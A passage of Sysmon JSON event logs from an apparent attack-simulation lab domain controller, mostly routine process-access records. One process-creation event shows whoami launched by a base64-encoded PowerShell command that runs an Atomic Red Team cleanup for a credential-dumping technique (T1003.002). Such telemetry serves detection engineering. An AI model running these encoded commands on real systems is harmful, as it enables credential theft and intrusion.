C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5751,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5752,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5753,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5754,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5755,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5756,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010B5BD0800}\r\nTargetProcessId: 888\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010B5BD0800}","TargetProcessId":"888","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5757,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.788\r\nProcessGuid: {90617006-4173-5F2D-0000-0010D8BE0800}\r\nProcessId: 4212\r\nImage: C:\\Windows\\System32\\whoami.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: whoami - displays logged on user information\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: whoami.exe\r\nCommandLine: \"C:\\Windows\\system32\\whoami.exe\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9\r\nParentProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nParentProcessId: 2512\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.788","ProcessGuid":"{90617006-4173-5F2D-0000-0010D8BE0800}","Image":"C:\\Windows\\System32\\whoami.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"whoami - displays logged on user information","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"whoami.exe","CommandLine":"\"C:\\Windows\\system32\\whoami.exe\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9","ParentProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","ParentProcessId":"2512","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5758,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010D8BE0800}\r\nTargetProcessId: 4212\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 